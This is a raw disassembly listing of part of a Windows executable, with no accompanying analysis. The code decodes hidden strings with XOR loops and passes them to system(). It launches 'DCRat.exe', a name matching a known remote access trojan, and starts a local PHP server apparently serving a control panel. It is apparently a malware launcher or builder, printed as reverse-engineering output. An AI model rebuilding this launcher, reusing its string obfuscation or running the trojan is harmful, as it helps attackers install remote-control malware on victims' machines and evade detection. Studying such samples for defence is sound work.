mov rbx, rax
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x70]
call fcn.140008b70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140098a90]
call fcn.140004720
cmp byte [0x140098cc8], 0
jne 0x1400280b7
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.140018c80
movzx edx, byte [rax + 2]
test dl, dl
je 0x140028089
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor dl, 0x3b
mov byte [rax + 2], dl
mov rdx, rax
mov rcx, r8
call fcn.140017090
mov rcx, rax
lea rdx, [0x140098cd0]
call fcn.140017070
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [str.TU_Y]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c698]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c6a0]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c6a1], 0
je 0x140028293
mov r8d, esi
cmp edi, 2
jl 0x14002824f
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140028140
cmp r8d, 0x1a
jge 0x140028293
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140028260
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x14007c6a8]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14007c6b0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x14007c6b4]
mov byte [rsp + 0x3c], al
mov ecx, esi
cmp edi, 2
jl 0x1400283e1
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14007c7b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x14007c6a8]
pxor xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x14007c7c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
pxor xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov ecx, 8
mov eax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x1400283f0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
movsd xmm0, qword [0x14007c6b8]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14007c6c0]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14007c6c4]
mov word [rsp + 0x3c], ax
cmp byte [0x14007c6c5], 0
je 0x1400285bf
cmp edi, 2
jl 0x14002857c
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14007c7b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x14007c6b8]
pxor xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x14007c7c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
pxor xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov esi, 8
mov eax, esi
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, sil
sub al, dl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xe
jl 0x140028590
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [0x140098bf0]
cmp qword [0x140098c08], 0x10
cmovae rdx, qword [0x140098bf0]
mov r8, qword [0x140098c00]
mov rcx, rax
call fcn.140017420
lea rcx, [0x140098a90]
call fcn.140007420
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14007c6cc]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rdx, [0x14007c6d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.DCRat.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400286d3
lea rdx, [0x14007c6f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140017090
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xb8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xd8]
call fcn.140008ad0
nop
cmp dword [rbp + 0x128], 0
jne 0x1400287a8
cmp dword [rbp + 0x138], 0
je 0x140028771
jmp 0x1400287b8
lea rdx, [0x14007c718]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.cd_php__php__S_127.0.0.1:8000__t_.._server
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140028778
lea rdx, [0x14007c768]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140017090
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0xf8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xb8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xd8]
call fcn.140008ad0
nop
cmp dword [rbp + 0x128], 0
jne 0x1400287a8
cmp dword [rbp + 0x138], 0
jne 0x1400287b8
mov eax, 1
jmp 0x1400287c1
lea rcx, [rbp + 0xf8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xb8]
call fcn.140008ad0
nop
lea rcx, [rbp + 0xd8]
call fcn.140008ad0
nop
cmp dword [rbp + 0x128], 0
je 0x1400287af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x138], 0
je 0x1400287bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0x4f90]
xor rcx, rsp
call fcn.1400772e0
lea r11, [rsp + 0x50d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3